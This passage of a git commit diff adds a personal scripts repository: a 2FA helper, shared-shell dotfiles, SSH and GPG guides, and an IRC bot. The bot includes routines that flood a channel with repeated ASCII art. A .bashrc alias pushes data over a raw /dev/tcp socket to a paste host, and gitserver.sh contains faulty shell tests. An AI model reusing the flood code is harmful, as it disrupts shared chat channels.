commit e66f25f121546c821f38150b73ed4981674720ee Author: acidvegas Date: Thu Jun 27 22:39:56 2019 -0400 Initial commit diff --git a/2fa.py b/2fa.py new file mode 100644 index 0000000..c11897f --- /dev/null +++ b/2fa.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +# Two-factor Authentication (2FA) Helper - Developed by acidvegas in Python (https://acid.vegas/random) + +''' +Requirements: + pyotp (https://pypi.org/project/pyotp/) + qrcode (https://pypi.org/project/qrcode/) +''' + +import io, sys, time + +try: + import pyotp, qrcode +except ImportError: + raise SystemExit('missing required \'pyotp\' module! (https://pypi.org/project/pyotp/)') +try: + import qrcode +except ImportError: + raise SystemExit('missing required \'qrcode\' module! (https://pypi.org/project/qrcode/)') + +def qrgen(data): + stdout = sys.stdout + sys.stdout = io.StringIO() + qr = qrcode.QRCode(border=1) + qr.add_data(data) + qr.make(fit=True) + qr.print_ascii(invert=True) + output = sys.stdout.getvalue() + sys.stdout = stdout + return output + +name = input('name : ') +issuer = input('issuer : ') +secret = input('secret : ') or pyotp.random_base32() +uri = pyotp.totp.TOTP(secret).provisioning_uri(name, issuer) +qr = qrgen(uri).replace(' ', ' ')[:-1] +max_len = len(qr.split('\n')[1]) +print(uri+'\n'+qr) +del name, issuer, uri, qr +while True: + code = pyotp.TOTP(secret).now() + seconds = int(time.strftime('%S')) + remain = 60-seconds if seconds >= 30 else 30-seconds + print(f'{code} ({remain})'.center(max_len), end='\r') + time.sleep(1) \ No newline at end of file diff --git a/acidbox/.bashrc b/acidbox/.bashrc new file mode 100644 index 0000000..2a0c08e --- /dev/null +++ b/acidbox/.bashrc @@ -0,0 +1,54 @@ +[[ $- != *i* ]] && return + +export LC_CTYPE=en_US.UTF-8 +export LC_ALL=en_US.UTF-8 + +alias backup='rm ~/.backup/*.tar.gz && tar cvf ~/.backup/backup-DATE,tar.gz ~/' +alias cmds='sh ~/.scripts/cmds' +alias colors='sh ~/.scripts/colors.sh' +alias contact='sh ~/.scripts/contact' +alias diff='diff --color=auto' +alias dvtm-help='cat ~/.scripts/dvtm-help' +alias grep='grep --color=auto' +alias ls='ls --color=auto' +alias rtach='abduco -a main' +alias rules='sh ~/.scripts/rules' +alias startx='abduco -c main sh ~/.scripts/dvtm-status.sh' +alias tb='(exec 3<>/dev/tcp/termbin.com/9999; cat >&3; cat <&3; exec 3<&-)' +alias title='echo -ne "\033]0;$*\007"' +alias vhosts='sh ~/.scripts/vhosts' + +extract () { + if [ -f $1 ] ; then + case $1 in + *.tar.bz2) tar xjvf $1 ;; + *.tar.gz) tar xzvf $1 ;; + *.bz2) bzip2 -d $1 ;; + *.rar) unrar2dir $1 ;; + *.gz) gunzip $1 ;; + *.tar) tar xf $1 ;; + *.tbz2) tar xjf $1 ;; + *.tgz) tar xzf $1 ;; + *.zip) unzip2dir $1 ;; + *.Z) uncompress $1 ;; + *.7z) 7z x $1 ;; + *.ace) unace x $1 ;; + *) echo "unkown archive format" ;; + esac + else + echo "'$1' is not a valid file" + fi +} + +rnd() { + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $1 | head -n 1 +} + +transfer() { + tmpfile=$( mktemp -t transferXXX ) + curl -H "Max-Downloads: 1" -H "Max-Days: 1" --progress-bar --upload-file $1 https://transfer.sh/$(basename $1) >> $tmpfile; + cat $tmpfile; + rm -f $tmpfile; +} + +PS1='\e[1;34m> \e[0;32m\w \e[0;37m: ' diff --git a/acidbox/.scripts/cmds b/acidbox/.scripts/cmds new file mode 100755 index 0000000..f2e1707 --- /dev/null +++ b/acidbox/.scripts/cmds @@ -0,0 +1,21 @@ +#! /bin/sh +BLUE='\033[1;34m' +CYAN='\033[0;36m' +GREY='\033[1;30m' +RESET='\033[0m' +YELLOW='\033[0;33m' +echo -e "\n[${BLUE}INFORMATION COMMANDS${RESET}]" +echo -e " ${GREY}* ${CYAN}colors${YELLOW}\tDisplay terminal color support" +echo -e " ${GREY}* ${CYAN}contact${YELLOW}\tInformation on how to contact the system administrator" +echo -e " ${GREY}* ${CYAN}rules${YELLOW}\tDisplay the server rules" +echo -e " ${GREY}* ${CYAN}vhosts${YELLOW}\tList all of the Virtual Hosts" +echo -e "\n${RESET}[${BLUE}SESSION COMMANDS${RESET}]" +echo -e " ${GREY}* ${CYAN}dvtm-help${YELLOW}\tInformation about dvtm and how to use it" +echo -e " ${GREY}* ${CYAN}rtach${YELLOW}\tReattach to your main abduco session ${GREY}(Create session with startx)" +echo -e " ${GREY}* ${CYAN}startx${YELLOW}\tStart a dvtm session in abduco ${GREY}(See dvtm-help for more information)" +echo -e "\n${RESET}[${BLUE}OTHER COMMANDS${RESET}]" +echo -e " ${GREY}* ${CYAN}backup${YELLOW}\tCreate a backup tar file of your home directory ${GREY}(Saves to the ~/.backup/ directory)" +echo -e " ${GREY}* ${CYAN}extract${YELLOW}\tExtract any archive format ${GREY}(Usage: extract archive.tar.gz)" +echo -e " ${GREY}* ${CYAN}rnd${YELLOW}\t\tReturn a random string ${GREY}(Usage: rnd )" +echo -e " ${GREY}* ${CYAN}tb${YELLOW}\t\tUpload a text files contents to termbin ${GREY}(Usage: cat file.txt | tb)" +echo -e " ${GREY}* ${CYAN}transfer${YELLOW}\tUpload a file to transfer.sh ${GREY}(Usage: transfer file.tar)\n" diff --git a/acidbox/.scripts/contact b/acidbox/.scripts/contact new file mode 100755 index 0000000..5224f4a --- /dev/null +++ b/acidbox/.scripts/contact @@ -0,0 +1,12 @@ +#! /bin/sh +BLUE='\033[1;34m' +CYAN='\033[0;36m' +GREY='\033[1;30m' +RESET='\033[0m' +YELLOW='\033[0;33m' +echo -e "\n[${BLUE}CONTACT${RESET}]" +echo -e " ${GREY}* ${CYAN}E-Mail${YELLOW}\tacid.vegas@acid.vegas" +echo -e " ${GREY}* ${CYAN}Github${YELLOW}\thttps://github.com/acidvegas" +echo -e " ${GREY}* ${CYAN}IRC${YELLOW}\t\tirc.supernets.org #acidbox" +echo -e " ${GREY}* ${CYAN}Keybase${YELLOW}\thttps://keybase.io/acidvegas" +echo -e " ${GREY}* ${CYAN}Twitter${YELLOW}\thttps://twitter.com/acidvegas\n" diff --git a/acidbox/.scripts/rules b/acidbox/.scripts/rules new file mode 100755 index 0000000..b7d96f0 --- /dev/null +++ b/acidbox/.scripts/rules @@ -0,0 +1,11 @@ +#! /bin/sh +BLUE='\033[1;34m' +CYAN='\033[0;36m' +GREY='\033[1;30m' +RESET='\033[0m' +YELLOW='\033[0;33m' +echo -e "\n[${BLUE}RULES${RESET}]" +echo -e " ${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone" +echo -e " without permission from the system admin. No illegal files or activites." +echo -e " ${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system." +echo -e " ${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups.\n" diff --git a/acidbox/.scripts/vhosts b/acidbox/.scripts/vhosts new file mode 100755 index 0000000..8bcd0fc --- /dev/null +++ b/acidbox/.scripts/vhosts @@ -0,0 +1,12 @@ +#! /bin/sh +BLUE='\033[1;34m' +CYAN='\033[0;36m' +GREY='\033[1;30m' +RESET='\033[0m' +YELLOW='\033[0;33m' +echo -e "\n[${BLUE}VIRTUAL HOSTS${RESET}]" +echo -e " ${GREY}* ${CYAN}ip address 1 ${YELLOW}\tvirtual.hostname1.com" +echo -e " ${GREY}* ${CYAN}ip address 2 ${YELLOW}\tvirtual.hostname2.com" +echo -e " ${GREY}* ${CYAN}ip address 3 ${YELLOW}\tvirtual.hostname3.com" +echo -e " ${GREY}* ${CYAN}ip address 4 ${YELLOW}\tvirtual.hostname4.com" +echo -e " ${GREY}* ${CYAN}ip address 5 ${YELLOW}\tvirtual.hostname5.com\n" diff --git a/acidbox/setup b/acidbox/setup new file mode 100755 index 0000000..aa27fa6 --- /dev/null +++ b/acidbox/setup @@ -0,0 +1,46 @@ +#!/bin/sh +set -e + +function setup_motd() { + RESET='\033[0m' + GREEN='\033[0;32m' + BGREEN='\033[1;32m' + YELLOW='\033[0;33m' + CYAN='\033[0;36m' + GREY='\033[1;30m' + RED='\033[1;31m' + BLUE='\033[1;34m' + UBLUE='\033[4;34m' + echo "╔═══════════════════════╦══════════════════════════════════════════════════════════════╗ +║${GREEN} ▄▄▄· ▄▄· ▪ ·▄▄▄▄ ${RESET}║ ${RED}Connection Notice${RESET} ║ +║${GREEN} ▐█ ▀█ ▐█ ▌▪██ ██▪ ██ ${RESET}╟──────────────────────────────────────────────────────────────╢ +║${GREEN} ▄█▀▀█ ██ ▄▄▐█·▐█· ▐█▌ ${RESET}║ ║ +║${GREEN} ▐█ ▪▐▌▐███▌▐█▌██. ██ ${RESET}║ ${YELLOW}This system is for the use of authorized users only.${RESET} ║ +║${GREEN} ▀ ▀ ·▀▀▀ ▀▀▀▀▀▀▀▀• ${RESET}║ ${YELLOW}All connections will be monitored and logged by the system.${RESET} ║ +║${GREEN} ▄▄▄▄· ▐▄• ▄ ${RESET}║ ║ +║${GREEN} ▐█ ▀█▪▪ █▌█▌▪ ${RESET}║ ${YELLOW}Connection issues? Contact ${UBLUE}${BLUE}acid.vegas@acid.vegas${YELLOW} for help.${RESET} ║ +║${GREEN} ▐█▀▀█▄ ▄█▀▄ ·██· ${RESET}║ ║ +║${GREEN} ██▄▪▐█▐█▌.▐▌▪▐█·█▌ ${RESET}║ ${YELLOW}Right about now, the funk soul brudda. Check it out now...${RESET} ║ +║${GREEN} ·▀▀▀▀ ▀█▄▀▪•▀▀ ▀▀ ${RESET}║ ║ +╚═══════════════════════╩══════════════════════════════════════════════════════════════╝" > /etc/issue + echo "${YELLOW}Hello ${CYAN}$(whoami)${YELLOW}! You are now connected to ${RED}$(hostname) +${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET} + +[${BLUE}RULES${RESET}] + ${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone + without permission from the system admin. No illegal files or activites. + ${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system. + ${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups." > /etc/motd +} + +function setup_user() { + sudo useradd -m -G ssh -s /bin/bash $1 + mkdir /home/$1/.scripts + wget -O /home/$1/.bashrc https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc + wget -O /home/$1/.scripts/cmds https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds + wget -O /home/$1/.scripts/contact https://git.supernets.org/acidvegas/acidbox/blob/master/files/contact + wget -O /home/$1/.scripts/rules https://git.supernets.org/acidvegas/acidbox/blob/master/files/rules + wget -O /home/$1/.scripts/vhosts https://git.supernets.org/acidvegas/acidbox/blob/master/files/vhosts + echo "clear && reset" > /home/$1/.bash_logout + echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /home/$1/.bash_profile +} \ No newline at end of file diff --git a/btkb.sh b/btkb.sh new file mode 100644 index 0000000..6b56fa3 --- /dev/null +++ b/btkb.sh @@ -0,0 +1,12 @@ +#!/bin/sh +sudo pacman -S bluez bluez-utils +sudo systemctl enable bluetooth && sudo systemctl start bluetooth +sudo sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf +bluetoothctl power on +bluetoothctl agent KeyboardOnly +bluetoothctl pairable on +bluetoothctl scan on +bluetoothctl pair CC:C5:0A:20:91:5B +bluetoothctl trust CC:C5:0A:20:91:5B +bluetoothctl connect CC:C5:0A:20:91:5B +bluetoothctl scan off \ No newline at end of file diff --git a/clitter.py b/clitter.py new file mode 100644 index 0000000..217888d --- /dev/null +++ b/clitter.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python +# CLI Twitter - Developed by acidvegas in Python (https://acid.vegas/random) + +''' +Requirements: + Tweepy (http://pypi.python.org/pypi/tweepy) +''' + +import sys + +consumer_key = 'CHANGEME' +consumer_secret = 'CHANGEME' +access_token = 'CHANGEME' +access_token_secret = 'CHANGEME' + +if len(sys.argv) < 2: + raise SystemExit('[!] - Missing command line arguments! (Usage: clitter.py )') +else: + tweet = ' '.join(sys.argv[1:]) +try: + import tweepy +except ImportError: + raise SystemExit('[!] - Failed to import the Tweepy library! (http://pypi.python.org/pypi/tweepy)') +try: + auth = tweepy.OAuthHandler(consumer_key, consumer_secret) + auth.set_access_token(access_token, access_token_secret) + api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) + if not api.verify_credentials(): + raise tweepy.TweepError +except tweepy.TweepError as ex: + raise SystemExit(f'[!] - Failed to login to Twitter! ({ex})') +else: + me = api.me() +if len(tweet) > 280: + raise SystemExit('[!] - Tweet is too long!') +else: + try: + api.update_status(tweet) + tweet = api.user_timeline(id=me.id, count=1)[0] + print(f'[+] - Tweet has been posted! (https://twitter.com/{me.screen_name}/status/{tweet.id})') + except tweepy.TweepError as ex: + raise SystemExit(f'Failed to post Tweet! ({ex})') \ No newline at end of file diff --git a/craggle.py b/craggle.py new file mode 100644 index 0000000..3a08a12 --- /dev/null +++ b/craggle.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +# CraigsList Parser - Developed by acidvegas in Python (https://acid.vegas/random) + +''' +Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList +''' + +import re, time, urllib.request + +def between(source, start, stop): + data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source) + return data.group(1) if data else False + +def get_source(url): + source = urllib.request.urlopen(url, timeout=10) + charset = source.headers.get_content_charset() + return source.read().decode(charset) if charset else source.read().decode() + +db = {'category':dict(),'subcat':dict()} +source = get_source('http://www.craigslist.org/about/sites?lang=en&cc=us') +countries = re.findall('

(.*?)

', source, re.IGNORECASE|re.MULTILINE) +source = source.replace('\n', '').replace('\r','') +main_data = dict() +statess = 0 +citiess = 0 +for country in countries: + main_data[country[0].lower()] = dict() + data = between(source, '

{1}

'.format(country[0], country[1]),' ') + states = re.findall('

(.*?)

', data, re.IGNORECASE|re.MULTILINE) + statess += len(states) + for state in states: + main_data[country[0].lower()][state.lower()] = dict() + state_data = between(source, f'

{state}

', '') + cities = re.findall('
  • (.*?)
  • ', state_data, re.IGNORECASE|re.MULTILINE) + citiess += len(cities) + for city in cities: + main_data[country[0].lower()][state.lower()][city[1]] = city[0].split('/?')[0] + new_source = get_source(city[0].split('/?')[0]) + new_source = new_source.replace('\n', '').replace('\r','') + categories = re.findall('data-alltitle="all (.*?)" data-cat="(.*?)">', new_source, re.IGNORECASE|re.MULTILINE) + for category in categories: + db['category'][category[0]] = db['category'][category[0]]+1 if category[0] in db['category'] else 1 + if category[0] != 'resumes': + cat = category[0].replace(' ','-') + category_data = between(new_source, f'

    (.*?)` +* `addkey` (Create 3, one for sign, encrypt, authenticate) +* `adduid` +* `save` + +# Backup key +* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/` +* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/` +* `gpg -a --export-secret-key > secret_key.gpg` +* `gpg -a --export-secret-subkeys > secret_subkeys.gpg` +* `gpg --delete-secret-keys ` +* `gpg --import secret_subkeys.gpg` +* `gpg --list-secret-keys` +* `rm secret_subkeys.gpg` + +# Revoke cert +* `gpg -a --output revoke.asc --gen-revoke ''` + +# Import/Export public key +* `gpg --import public.key` +* `gpg --output public.key --armor --export ` + +# Import/Export private key +* `gpg --export-secret-keys --armor > privkey.asc` +* `gpg --import privkey.asc` + +# Edit keys +* `gpg --edit-key ` + +# List (secret) keys +* `gpg --list-keys` +* `gpg --list-secret-keys` + +# Encrypt/Decrypt +* `gpg --recipient user-id --encrypt doc` +* `gpg --output doc --decrypt doc.gpg` + +or... + +* `gpg -c --s2k-cipher-algo AES256 --s2k-digest-algo SHA512 --s2k-count 65536 doc` +* `gpg --output doc --decrypt doc.gpg` + +# Signing +* `gpg --output doc.sig --sign doc` +* `gpg --output doc.sig --clearsign doc` +* `gpg --output doc.sig --detach-sig doc` + +# Verify +* `gpg --verify doc.sig` +* `gpg --verify archlinux-version.iso.sig` +* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso` +* `gpg --with-fingerprint ` + +# Send keys +* `gpg --send-keys ` +* `gpg --refresh-keys` + +# Get keys +* `gpg --recv-key ''` +* `gpg --fingerprint ''` + +# Sign key +* `gpg --lsign-key ''` + +or... + +* `gpg --sign-key ''` \ No newline at end of file diff --git a/docs/ssh.md b/docs/ssh.md new file mode 100644 index 0000000..d3fd080 --- /dev/null +++ b/docs/ssh.md @@ -0,0 +1,273 @@ +A full write-up on OpenSSH usage with security in mind. + +--- + +# Table of Contents +* [Generating An SSH Key Pair](#generating-an-ssh-key-pair) + - [Linux](#linux) + - [Windows](#windows) +* [Getting Your Client To Use Your SSH Key](#getting-your-client-to-use-your-ssh-key) + - [Linux](#linux) + - [Windows](#windows) +* [Setup Server](#setup-server) + - [Harden OpenSSH Daemon](#harden-openssh-daemon) + - [Create A New User On The Server](#create-a-new-user-on-the-server) + - [Copy Your Public Key To Your Shell](#copy-your-public-key-to-your-shell) +* [Extra Security](#extra-security) + - [Allow Incoming SSH Connections Through IPTables](#allow-incoming-ssh-connections-through-iptables) + - [Lock Users In A Chroot Jail Environment](#lock-users-in-a-chroot-jail-environment) + - [Port Knocking](#port-knocking) + - [Setup Server](#setup-server-1) + - [Using IPTables](#using-iptables) + - [Using Knockd](#using-knockd) + - [Knocking Your Server](#knocking-your-server) + - [Using Nmap](#using-nmap) + - [Using knockd](#using-knockd-1) + - [Jump Hosts](#jump-hosts) + +**Note:** The port *65150* is used in this write-up as an example of how to use a non-standard ports. + +--- + +## Generating An SSH Key Pair +### Linux +Generate a key using the **Ed25519** algorithm with 500 KDF rounds: +* `ssh-keygen -t ed25519 -a 500 -C "$(whoami)@$(hostname)-$(date -I)"` + +This will generate 2 files in your `~/.ssh` directory. A public key *(.pub)* and a private key. + +You only need to backup your private key. Public keys can be regenerated from the private key: +* `ssh-keygen -y -f ~/.ssh/acidvegas@pi-2017-01-01` + +Copy your public key to clipboard: +* `cat ~/.ssh/acidvegas@pi-2017-01-01.pub` + +### Windows +Download & run [puttygen](https://the.earth.li/~sgtatham/putty/latest/w32/puttygen.exe). + +Once opened, change the key type to **ED25519** under the *Parameters* box, and then click the *Generate* button. + +Click the *Save private key* button to save your key. + +You only need to backup your private key. Public keys can be regenerated by clicking `File -> Load private key`. + +Copy the data in the box labeled *Public key for pasting into OpenSSH authorized_keys file*. + +## Getting Your Client To Use Your SSH Key +### Linux +* `ssh -p 65150 -i ~/.ssh/acidvegas@pi-2017-01-01 acidvegas@192.168.1.10` + +or... + +* `nano ~/.ssh/config` +``` +Host acidbox + HostName 192.168.1.10 + Port 65150 + User acidvegas + IdentityFile ~/.ssh/acidvegas@pi-2017-01-01 + IdentitiesOnly yes +``` +* `chmod 600 ~/.ssh/config` +* Usage: `ssh acidbox` + +### Windows +Download & run the [putty](https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe) client. + +Once opened, select `Connection -> SSH -> Auth` from the *Category* box. Click the *Browse* button and select your private key. + +Select *Session* from the *Category* box. Change the *Host Name (or IP address)* and *Port* to your server. + +Name the session in *Saved Sessions* box and click the *Save* button. + +SSH into your server by clicking your saved session from the *Saved Sessions* box, and clicking the *Open* button. + +--- + +## Setup Server +### Harden OpenSSH Daemon +* `nano /etc/ssh/sshd_config` +``` +AddressFamily any +AllowAgentForwarding no +AllowGroups ssh +AllowTcpForwarding no +AuthorizedKeysFile /etc/ssh/authorized_keys/%u +#Banner /etc/issue +ChallengeResponseAuthentication no +Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr +ClientAliveInterval 0 +#ClientAliveCountMax 0 +HostKey /etc/ssh/ssh_host_ed25519_key +KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256 +LoginGraceTime 30 +MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com +MaxAuthTries 2 +MaxSessions 1 +MaxStartups 3:50:10 +PasswordAuthentication no +PermitRootLogin no +Port 65150 +PrintLastLog no +PrintMotd no +Protocol 2 +``` +* `mkdir /etc/ssh/authorized_keys` +* `rm /etc/ssh/ssh_host_*_key` +* `ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key` + +**Options**: +* The `AddressFamily` option can be: + - **inet** for IPv4 only. + - **inet6** for IPv6 only. + - **any** for both. +* The `AuthorizedKeysFile` option can be commented out to use the standard `~/.ssh/authorized_keys` file instead. +* The `Banner` option can be un-commented if the `/etc/issue` file exists. This is shown before the user authenticates. +* The `ClientAliveCountMax` option can be un-commented & the `ClientAliveInterval` option can be changed to **1800** to enforce a 15 minute idle timeout. +* The `MaxSessions` option can be increased if there are additional users on the server. +* The `Port` option should be set to a non-standard port *(High-value port number recommended)*. +* The `PrintMotd` option can be changed to **yes** if the file `/etc/motd` exists. This is shown after the user authenticates. + +### Create A New User On The Server +Create a new user on the server with a password: +* `useradd -m -s /bin/bash acidvegas` +* `passwd acidvegas` + +Create an **ssh** group and add your user to the group. +* `groupadd ssh` +* `gpasswd -a acidvegas ssh` + +### Copy Your Public Key To Your Shell +* `nano /etc/ssh/authorized_keys/acidvegas` *(Paste your public key data in this file)* + +**Note:** This is only required if you are using the `AuthorizedKeysFile /etc/ssh/authorized_keys/%u` line in your `sshd_config` file. For using the standard `~/.ssh/authorized_keys` file, do the follow: +* `mkdir ~/.ssh` +* `chmod 700 ~/.ssh` +* `chown -R $USER ~/.ssh` +* `nano ~/.ssh/authorized_keys` *(Paste the copied public key data into this file)* +* `chmod 400 ~/.ssh/authorized_keys` +* Optionally, you can pass the immutable flag to prevent changes: + - `chattr +i ~/.ssh` + - `chattr +i ~/.ssh/authorized_keys` + +--- + +# Extra Security +### Allow Incoming SSH Connections Through IPTables +``` +iptables -A INPUT -i eth0 -p tcp --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT +iptables -A OUTPUT -o eth0 -p tcp --sport 65150 -m conntrack --ctstate ESTABLISHED -j ACCEPT +``` + +You can also allow only incomming connection from a specific IP address instead by changing the first line above to: +``` +iptables -A INPUT -i eth0 -p tcp -s 192.168.1.99 --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT +``` + +### Lock Users In A Chroot Jail Environment +See [mkchroot](https://github.com/acidvegas/mkchroot) repository for details. + +### Port Knocking +The following is an example which uses the port knocking sequence `8881 -> 7777 -> 9991` to open port 65150 for 30 seconds. + +##### Server +###### Using IPTables +* `nano /etc/iptables/iptables.rules` +``` +*filter +:INPUT DROP [0:0] +:FORWARD DROP [0:0] +:OUTPUT ACCEPT [0:0] +:TRAFFIC - [0:0] +:SSH-INPUT - [0:0] +:SSH-INPUTTWO - [0:0] +# TRAFFIC chain for Port Knocking. The correct port sequence in this example is 8881 -> 7777 -> 9991; any other sequence will drop the traffic +-A INPUT -j TRAFFIC +-A TRAFFIC -p icmp --icmp-type any -j ACCEPT +-A TRAFFIC -m state --state ESTABLISHED,RELATED -j ACCEPT +-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 65150 -m recent --rcheck --seconds 30 --name SSH2 -j ACCEPT +-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH2 --remove -j DROP +-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 9991 -m recent --rcheck --name SSH1 -j SSH-INPUTTWO +-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH1 --remove -j DROP +-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 7777 -m recent --rcheck --name SSH0 -j SSH-INPUT +-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH0 --remove -j DROP +-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 8881 -m recent --name SSH0 --set -j DROP +-A SSH-INPUT -m recent --name SSH1 --set -j DROP +-A SSH-INPUTTWO -m recent --name SSH2 --set -j DROP +-A TRAFFIC -j DROP +COMMIT +``` +* `systemctl daemon-reload ` +* `systemctl restart iptables` + +###### Using Knockd +Download & install the [knockd](http://www.zeroflux.org/projects/knock) package. + +* `nano /etc/knockd.conf` +``` +[options] + logfile = /var/log/knockd.log +[opencloseSSH] + sequence = 8881:tcp,7777:tcp,9991:tcp + seq_timeout = 5 + tcpflags = syn,ack + start_command = /usr/bin/iptables -A TCP -s %IP% -p tcp --dport 65150 -j ACCEPT + cmd_timeout = 10 + stop_command = /usr/bin/iptables -D TCP -s %IP% -p tcp --dport 65150 -j ACCEPT +``` + +##### Knocking Your Server +###### Using Nmap +Download & install the [nmap](https://nmap.org/) package. + +* `nano knock.sh` +```bash +#!/bin/bash +HOST=$1 +shift +for ARG in "$@" +do + nmap -Pn --host_timeout 100 --max-retries 0 -p $ARG $HOST +done +``` +* Usage: `sh knock.sh example.server.com 8881 7777 9991` + +###### Using Knockd +Download & install the [knockd](http://www.zeroflux.org/projects/knock) package. + +* `knock -v example.server.com 8881:tcp 7777:tcp 9991:tcp` + +### Jump Hosts +* `ssh -J ` + +The `` option can be `user@host`, `user@host:port` or an host setup in your `~/.ssh/config`. + +Multiple jump hosts can be used in a comma *(no spaces)* separated list. + +The same applies for the `` option, except to change the port, either use the `-p ` option at the end or use a host setup in your `~/.ssh/config`. + +or... + +* nano `~/.ssh/config`: +``` +Host jumpbox + HostName jump.server.com + +Host targetbox + ... + ProxyJump jumpbox1 + ... +``` + +Multiple jump hosts can be used in the `ProxyJump` option in a comma *(no spaces)* separated list. + +Connect to your target host with `ssh targetbox` + +--- + +## Sources +* https://wiki.archlinux.org/index.php/Port_knocking +* https://wiki.archlinux.org/index.php/SSH_keys +* https://wiki.mozilla.org/Security/Guidelines/OpenSSH +* https://www.openssh.com/manual.html +* https://stribika.github.io/2015/01/04/secure-secure-shell.html diff --git a/gitremote.sh b/gitremote.sh new file mode 100644 index 0000000..ce6bb3f --- /dev/null +++ b/gitremote.sh @@ -0,0 +1,14 @@ +#!/bin/sh +set -e +for u in $HOME/dev/git/*/; do + for d in $(find $u -name .git -type d -prune | sort); do + u=$(basename $u) + r=$(basename -s .git `git --git-dir $d config --get remote.origin.url`) + echo "updating $r..." + git -C $d remote remove origin + git -C $d remote add origin git@github.com:$s/$r.git + git -C $d remote set-url --add --push origin git@github.com:$u/$r.git + git -C $d remote set-url --add --push origin git@gitlab.com:$u/$r.git + git -C $d remote set-url --add --push origin git@contra:$r.git + done +done \ No newline at end of file diff --git a/gitserver.sh b/gitserver.sh new file mode 100644 index 0000000..08b3d66 --- /dev/null +++ b/gitserver.sh @@ -0,0 +1,7 @@ +#/bin/sh +[ ! getent group ssh ] && groupadd ssh +[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells +[ ! $(getent passwd git > /dev/null) ] && userdel -f git +useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git +echo "PUBLICKEY" > /etc/ssh/authorized_keys/git +mkdir "$1.git" && cd "$1.git" && git -C "$1.git" --bare init chown -R git:git "$1.git" \ No newline at end of file diff --git a/irc/anythinggoes/anythinggoes.py b/irc/anythinggoes/anythinggoes.py new file mode 100644 index 0000000..5a425b5 --- /dev/null +++ b/irc/anythinggoes/anythinggoes.py @@ -0,0 +1,265 @@ +# -*- coding: utf-8 -*- +#!/usr/bin/env python +# THEGAME IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random) +import random,socket,ssl,threading,time + +# Config +admin_ident = 'ak!ak@super.nets' +channel = '#anythinggoes' +nickserv_password = 'CHANGEME' +operator_password = 'CHANGEME' +throttle_msg = 0.15 + +# Formatting Control Characters / Color Codes +bold = '\x02' +italic = '\x1D' +underline = '\x1F' +reverse = '\x16' +reset = '\x0f' +white = '00' +black = '01' +blue = '02' +green = '03' +red = '04' +brown = '05' +purple = '06' +orange = '07' +yellow = '08' +light_green = '09' +cyan = '10' +light_cyan = '11' +light_blue = '12' +pink = '13' +grey = '14' +light_grey = '15' + +def color(msg,foreground,background=None):return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}' +def error(msg,reason):print(f'{get_time()} | [!] - {msg} ({reason})') +def get_time():return time.strftime('%I:%M:%S') +def random_str(size):return ''.join(random.choice('aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ') for _ in range(size)) + +class Functions: + def banana_bomb(): + for i in range(random.randint(5,10)): + spaces=random.randint(1,120) + for line in banana_data: + Bot.sendmsg(channel,' '*spaces+line) + + def chat_rain(amount): + words = ('ok','tru','same','wow','nice','XD','ok','np','sup','cool','nmu','lol','ah','srry','jk') + for i in range(amount): + Bot.sendmsg(channel,' '*random.randint(3,25)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)+' '*random.randint(10,50)+random.choice(words)) + + def crab_flood(amount): + counter=1 + notify=random.randint(100,999) + if amount>=1000000: + amount=1000000 + Bot.sendmsg(channel,color('GENTLEMEN! BEHOLD!',red)) + Bot.sendmsg(channel,color('THE MILLION CRAB MARCH!',red)) + for i in range(amount): + spaces=random.randint(1,120) + for line in crab_data: + Bot.sendmsg(channel,' '*spaces+line) + counter+=1 + if counter==notify: + spaces=random.randint(1,120) + Bot.sendmsg(channel,color(' '*spaces+str(i)+' MOTHER FUCKING CRABS !!!',red)) + counter=1 + + def grave(nick): + length=len(nick) + Bot.sendmsg(channel,color(' '*(length+8),light_blue,light_blue)) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' ',light_blue,light_blue),color(' ',grey,grey),color(' '*length,light_grey,light_grey),color(' ',light_blue,light_blue))) + Bot.sendmsg(channel,'{0}{1}{2}{3}'.format(color(' 